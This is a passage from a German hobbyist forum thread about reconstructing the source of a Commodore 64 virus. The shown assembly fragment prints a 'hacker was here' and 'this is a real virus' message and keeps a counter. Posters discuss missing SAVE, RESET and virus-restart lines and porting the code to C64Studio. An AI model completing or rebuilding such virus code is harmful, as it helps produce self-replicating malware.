- 50175 lda #13 ;cr
- 50176 jsr make
- 50177 jsr charout ;ausgeben
- 50178 c4 inc counter
- 50179 bne c6
- 50180 inc counter+1
- 50181 c6 rts
- 50200 text .byte 13
- 50201 .asc "dr.dr.strobe&papa hacker was here!" : .byte 13
- 50210 .asc "coprogrammer: garfield" : .byte 13
- 50215 .byte 13
- 50216 .asc "hallo dickerchen, dies ist ein echter" : .byte 13
- 50217 .asc "virus!" : .byte 13,13
- 50220 .asc "serialno.:" : .byte 0
- 50230 counter .word 0
- 63000 *= 254*blocks+start-2 : *= *+2
- 63001 .byte $0,$0
-
ich bin mir nicht sicher außer Zeile 53 muss SAVE sein, wegen $0332.
48 reinst (was wären dann die Adressen ?)
50 return (was wären dann die Adressen ?)
51 reset (was wären dann die Adressen ?)
waren nur so Ideen, weil ich unten dazu nichts gefunden haben.
es fehlt wohl
NEW =
(was in Zeile 4000 ; Neustart VIRUS gebraucht wird)
-
Dies sollten nun die fehlenden Zeilen sein.
Codeden Post davor bitte ignorieren.
Ich habe nun den Source-Code noch in C64Studio umgebaut, sodass er da derzeit fehlerfrei ist.
Wie gebe ich den unnamed section denn eigentlich einen Namen ? Da steht TEXT. Ist das nicht dann der Name ?
-